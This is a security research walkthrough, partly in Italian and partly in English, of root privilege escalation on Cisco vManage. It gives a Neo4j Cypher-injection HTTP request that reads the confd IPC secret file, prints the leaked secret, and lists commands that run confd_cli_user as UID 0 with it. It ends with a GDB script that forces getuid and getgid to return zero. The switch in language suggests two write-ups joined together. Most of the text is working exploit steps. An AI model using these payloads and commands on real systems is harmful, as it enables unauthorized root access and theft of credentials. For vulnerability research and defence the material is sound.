Dopo aver esaminato un po' di documentazione relativa a confd e ai diversi binari (accessibili con un account sul sito web Cisco), abbiamo scoperto che per autenticare il socket IPC, utilizza un segreto situato in /etc/confd/confd_ipc_secret:
vmanage:~$ ls -al /etc/confd/confd_ipc_secret
-rw-r----- 1 vmanage vmanage 42 Mar 12 15:47 /etc/confd/confd_ipc_secret
Ricordi la nostra istanza Neo4j? Essa è in esecuzione con i privilegi dell'utente vmanage, permettendoci così di recuperare il file utilizzando la vulnerabilità precedente:
GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/confd/confd_ipc_secret\"+AS+n+RETURN+n+//+' HTTP/1.1
Host: vmanage-XXXXXX.viptela.net
[...]
"data":[{"n":["3708798204-3215954596-439621029-1529380576"]}]}
Il programma confd_cli non supporta gli argomenti della riga di comando ma chiama /usr/bin/confd_cli_user con argomenti. Quindi, potremmo chiamare direttamente /usr/bin/confd_cli_user con il nostro insieme di argomenti. Tuttavia, non è leggibile con i nostri privilegi attuali, quindi dobbiamo recuperarlo dal rootfs e copiarlo usando scp, leggere l'aiuto e usarlo per ottenere la shell:
vManage:~$ echo -n "3708798204-3215954596-439621029-1529380576" > /tmp/ipc_secret
vManage:~$ export CONFD_IPC_ACCESS_FILE=/tmp/ipc_secret
vManage:~$ /tmp/confd_cli_user -U 0 -G 0

Il blog¹ del team synacktiv ha descritto un modo elegante per ottenere una shell root, ma il caveat è che richiede di ottenere una copia di /usr/bin/confd_cli_user che è leggibile solo da root. Ho trovato un altro modo per elevare i privilegi a root senza tale complicazione.
Quando ho smontato il binario /usr/bin/confd_cli, ho osservato quanto segue:
I hypothesized the “confd_cli” program passes the user ID and group ID it collected from the logged in user to the “cmdptywrapper” application.
My first attempt was to run the “cmdptywrapper” directly and supplying it with -g 0 -u 0, but it failed. It appears a file descriptor (-i 1015) was created somewhere along the way and I cannot fake it.
As mentioned in synacktiv’s blog(last example), the confd_cli program does not support command line argument, but I can influence it with a debugger and fortunately GDB is included on the system.
I created a GDB script where I forced the API getuid and getgid to return 0. Since I already have “vmanage” privilege through the deserialization RCE, I have permission to read the /etc/confd/confd_ipc_secret directly.
root.gdb:
set environment USER=root
define root
finish
set $rax=0
continue
end
break getuid
commands
root
end
break getgid
commands
root
end
run
